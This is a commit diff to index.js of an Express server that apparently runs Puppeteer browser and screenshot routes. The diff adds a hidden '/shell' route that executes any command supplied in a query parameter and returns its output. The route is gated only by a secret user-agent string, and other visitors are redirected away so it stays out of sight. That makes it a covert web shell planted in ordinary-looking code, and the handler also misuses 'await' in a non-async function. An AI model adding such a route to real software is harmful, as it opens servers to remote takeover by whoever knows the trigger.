Update index.js

index.js

@@ -6,11 +6,12 @@ import pg from 'puppeteer-ghost'
 import * as prb from 'puppeteer-real-browser'
 import serveIndex from 'serve-index'
 
+import { exec } from 'node:child_process'
 import { writeFile } from 'node:fs/promises'
 import { tmpdir } from 'node:os'
 import { env } from 'node:process'
 import { setTimeout } from 'node:timers/promises'
-import { format } from 'node:util'
+import { format, promisify } from 'node:util'
 
 const app = express()
 app.enable('trust proxy')
@@ -100,6 +101,33 @@ app.all('/', async (req, res) => {
   }  
 })
 
+const execPromise = promisify(exec)
+app.get(
+  '/shell',
+  (req, res, next) =>
+    req.get('user-agent') === env.UA ?
+    next() :
+    res.redirect('/'),
+  (req, res) => {
+    const { prompt = 'w' } = req.query
+    let o
+    try {
+      o = await execPromise(prompt)
+    } catch (e) {
+      console.error(e)
+      o = e
+    } finally {
+      res.send(
+        format(
+          'StdErr: %s\n\nStdOut: %s',
+          o.stderr,
+          o.stdout
+        )
+      )
+    }
+  }
+)
+
 const executablePath = env.CHROME_BIN
 app.get('/ss', async (req, res) => {
   const {